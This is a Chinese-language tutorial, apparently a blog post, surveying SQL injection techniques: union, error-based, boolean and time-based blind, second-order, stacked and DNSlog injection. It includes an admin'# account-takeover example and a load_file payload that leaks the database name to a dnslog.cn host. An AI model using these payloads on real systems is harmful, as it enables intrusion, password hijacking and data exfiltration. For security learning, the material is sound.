一.union联合查询注入

1.union查询注⼊是最基础的注⼊

通常来说就是利用两条及以上的sql拼凑语句来进行查询网站的数据库里的内容,需要对sql查询语句较为熟练的掌握

2.适用条件

a.网站存在注入点,就是有回显,什么是回显,就是你改变url里的值或者是提交内容页面会有弹窗以及回车页面会有改变

b.union联合查询的前后两个select所查询的字段列数要相同,具体怎么判断,需要根据页面的提示信息以及 order by 函数来判断

3.注入步骤

1)判断 是否存在 注⼊点 及 注⼊的类型。就是判断是否回显

我们看这个url中id后面的值 随便输入一个数字或者字符,判断是否能回车,不出错就代表有回显

看这个id后面值怎么改变页面都不变化,说明没有注入点

2)使⽤ORDER BY查询列数、观察回显的位置。

order by 函数可以查询字段列数

在后面注入一系列的数字,从一开始,直到页面出现报错,我们就能得到字段数

判断显示位置

观察得到四条字段可以正确返回,因此 此时的  1 2 3 4 四个位置都可以作为注入点

(3)获取 数据库名。

(4)获取 数据库中的 所有表名。

(5)获取 数据库的表中的 所有字段名

(6)获取字段中的 数据

后续的注入通过sql语句拼凑,在网上搜索注入的sql语句,修改其中的数据库名,表名,字段名,就可以一一爆出数据

二.报错型注入

1.是利用数据库报错机制,将查询的敏感数据嵌入到报错信息中返回,从而获取数据,

2.使用条件:

a.修改url的值,没有回显

b.返回错误的信息在前端页面 

可以考虑报错型注入

3.常⽤报错注⼊命令

a.Group By 重复键冲突报错(floor 报错)

利用 floor()+rand()+group by 的组合触发主键重复报错,具体的语法可以ai搜

b.xpath 报错型注⼊

   updatexml报错型注⼊

这两种extractvalue()updatexml() 是 MySQL 用于解析 XML 文档的函数,它们的第二个参数要求是合法的 XPath 表达式(格式如 /xxx/yyy)。如果传入包含非法字符(如 ~@# 等非 XPath 字符)的字符串,函数会触发报错,且报错信息中会显示这个非法字符串 —— 我们可以把要查询的敏感数据(如数据库名、用户名)拼接在非法字符后,从而在报错中泄露数据

具体的可以ai,语法较复杂

c.提示一下,最后爆出的数据可能是MD5密文,上 cmd5.com 解密即可

三.布尔盲注

1.条件

当改变浏览器传给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,⽆法使⽤union 联合查询注⼊与报错注⼊,就是无回显,前端页面也没有任何报错信息,我们就不得不使用盲注

2.注入步骤

a.判断是否存在布尔注⼊

拼接两个不同的SQL语句,一对一错,若页面都有反应,就可以布尔注入

b.简单介绍一下步骤

1.获得数据库名字⻓度

用 length 函数不断猜测数据库的字段长度

2.获取数据库名字 

可以使⽤ASCII码,甄别出数据库每⼀个字符,ascill码在网上搜即可,一共126位,v包括所有的字符,数字,字母

通过 substr函数截取数据库的各个位上的字符,最后对应ascill码上的字符,会获得第一位字符

以此类推,通过改变(substr(database(),4,1))(substr(database(),3,1)).。。。得到全部字符

以此类推

3.获取表的个数,每个表的名字
4.获取每个表的各个字段字符

例如:

具体 ai ,过程复杂,但不难

四.延时盲注

1.条件

union,报错、布尔等搞不定的时候才考虑,效率极低

2.举例

通过和布尔盲注类似的思路,进行注入,最后按需求修改sql语句,

即,有睡眠时间就显示这个语句正确,没有睡,代表错误

五.⼆次注⼊

1.概念 

⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到 SQL 查询语句 中 导致 的注⼊

2.演示

我们看到已经存在一个admin用户,就无法再用admin注册了

我们注册一个名为 admin'# 的用户,进入

我们修改我们自己的密码为111111再进行登录admin

这样我们呢发现我们将admin的密码修改成了111111,并登陆成功

3.原理

查看源码,发现 admin‘# 中的  ‘  与前面的  ’  闭合形成了sql语句 ,而 # 代表了注释符,即 # 后面的内容都被注释掉,系统不会识别,就完成了 狸猫换太子---二次注入

六.堆叠注⼊

1.概念 

在SQL数据库中,每条语句是以;分开的,堆叠注⼊就是⼀次性注⼊并执⾏多条语句(多语句之间以分号 隔开)的注⼊⽅式

union联合查询注⼊执⾏的语句类型是有限的,可以⽤来执⾏查询语句。 堆叠注⼊可以执⾏的是任意的语句,如增删改等

2.演示

演示了一条增加语句,具体删除,修改,都可以ai

七.DNSlogs盲注

NSlog 盲注是盲注的一种进阶方式,核心解决了 “无回显、无报错” 场景下的 SQL 注入数据获取问题 —— 通过将查询到的敏感数据(如数据库名、密码)拼接成 DNS 域名,触发 DNS 解析请求,再通过监听 DNS 解析日志(DNSlog 平台),从解析记录中提取敏感数据

1.使用条件

  • 目标页面无任何回显(联合查询、报错注入均失效);
  • 仅能通过 “布尔值”(页面正常 / 异常)或 “时间延迟” 判断注入是否成功;
  • 数据库服务器能访问外网(关键!需要发起 DNS 解析请求

2.演示,需要 http://dnslog.cn/

a.获取一个临时域名

b.修改  

?id=1 and load_file(concat('//',(select database()),'.mypy4h.dnslog.cn/123' )),返回dns页面

可以看出,数据库被注入出来,以此类推,修改sql语句爆出表,字段名,数据

八.自动化注入-sqlmap

在此不做演示,网上全是教程

至此,SQL注入大部分类型都在此

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐